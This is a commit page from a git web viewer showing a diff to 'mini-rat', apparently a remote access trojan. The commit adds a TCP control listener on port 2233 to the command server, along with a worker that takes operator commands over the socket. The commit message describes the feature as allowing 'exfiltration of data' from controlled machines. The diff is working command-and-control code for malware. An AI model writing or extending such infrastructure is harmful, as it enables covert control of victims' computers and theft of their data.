summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDanny Holman <dholman@gymli.org>2023-09-29 09:24:21 -0500
committerDanny Holman <dholman@gymli.org>2023-09-29 09:24:21 -0500
commitf5b7f8b3f466fdf7acb57d9bc8fcc12c65080f67 (patch)
treeb5b66ad9fe6af707b6791893499056ee8c5fd1a9
parent27f3d76e8a1c4c4f5e301fa45a33cb095c1c9df5 (diff)
server: implement remote control connections
Implement a series of functions that facilitate remote control connections, i.e. connections that control session information, allow exfiltration of data, etc. from the command server. Signed-off-by: Danny Holman <dholman@gymli.org>
-rw-r--r--server/src/mini-rat.c15
-rw-r--r--server/src/server.c50
2 files changed, 56 insertions, 9 deletions
diff --git a/server/src/mini-rat.c b/server/src/mini-rat.c
index a0ce6fb..6112d71 100644
--- a/server/src/mini-rat.c
+++ b/server/src/mini-rat.c
@@ -181,16 +181,15 @@ int main(int argc, char* argv[]) {
pthread_create(&listen_thread, NULL, listener, (void*)&port);
pthread_detach(listen_thread);
- size_t line_sz = 1024;
- char *line = malloc(line_sz);
- while (running) {
- printf("mini-rat> ");
- getline(&line, &line_sz, stdin);
- parse_cmd(line);
- }
+ uint16_t cport = 2233;
+ pthread_t clisten_thread;
+ pthread_create(&clisten_thread, NULL, control_listener, (void*)&cport);
+ pthread_detach(clisten_thread);
+
+ while (running);
- free(line);
log_msg(LOG_INFO, "Mini-RAT shutting down\n");
pthread_cancel(listen_thread);
+ pthread_cancel(clisten_thread);
return 0;
}
diff --git a/server/src/server.c b/server/src/server.c
index 4ed8af9..9a7fe62 100644
--- a/server/src/server.c
+++ b/server/src/server.c
@@ -3,7 +3,55 @@
#include <logging.h>
#include <mini-rat.h>
-pthread_mutex_t sock_mutex;
+void* control_listener(void *port) {
+ uint16_t port_num = *(int*)port;
+ int server_sock = socket(PF_INET, SOCK_STREAM, 0);
+ struct sockaddr_in client_name;
+ unsigned int client_name_len = sizeof(client_name);
+
+ struct sockaddr_in name;
+ memset(&name, 0, sizeof(name));
+ name.sin_family = AF_INET;
+ name.sin_port = htons(port_num);
+ name.sin_addr.s_addr = htons(INADDR_ANY);
+ if (bind(server_sock, (struct sockaddr*)&name, sizeof(name)) < 0) {
+ log_msg(LOG_SEVERE, "Cannot bind to port %d\n", port_num);
+ return NULL;
+ }
+ listen(server_sock, 5);
+ log_msg(LOG_INFO, "Control listener running on port %d\n", port_num);
+
+ char *ip = NULL;
+ int client_sock = 0;
+ pthread_t newthread;
+ while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) {
+ ip = inet_ntoa(client_name.sin_addr);
+ log_msg(LOG_INFO, "New control connection opened from %s\n", ip);
+ pthread_create(&newthread, NULL, control_worker, (void*)&client_sock);
+ pthread_detach(newthread);
+ }
+
+ close_logfile();
+ close(server_sock);
+ return 0;
+}
+
+void* control_worker(void *sock_desc) {
+ int sock = *(int*)sock_desc;
+
+ char buffer[4096];
+ dprintf(sock, "mini-rat> ");
+ while (recv(sock, buffer, 4096, 0) > 0) {
+ if (strncmp(buffer, "exit", 4) == 0)
+ break;
+ parse_cmd(sock, buffer);
+ dprintf(sock, "mini-rat> ");
+ memset(buffer, 0, 4096);
+ }
+
+ close(sock);
+ return 0;
+}
void* listener(void *port) {
uint16_t port_num = *(int*)port;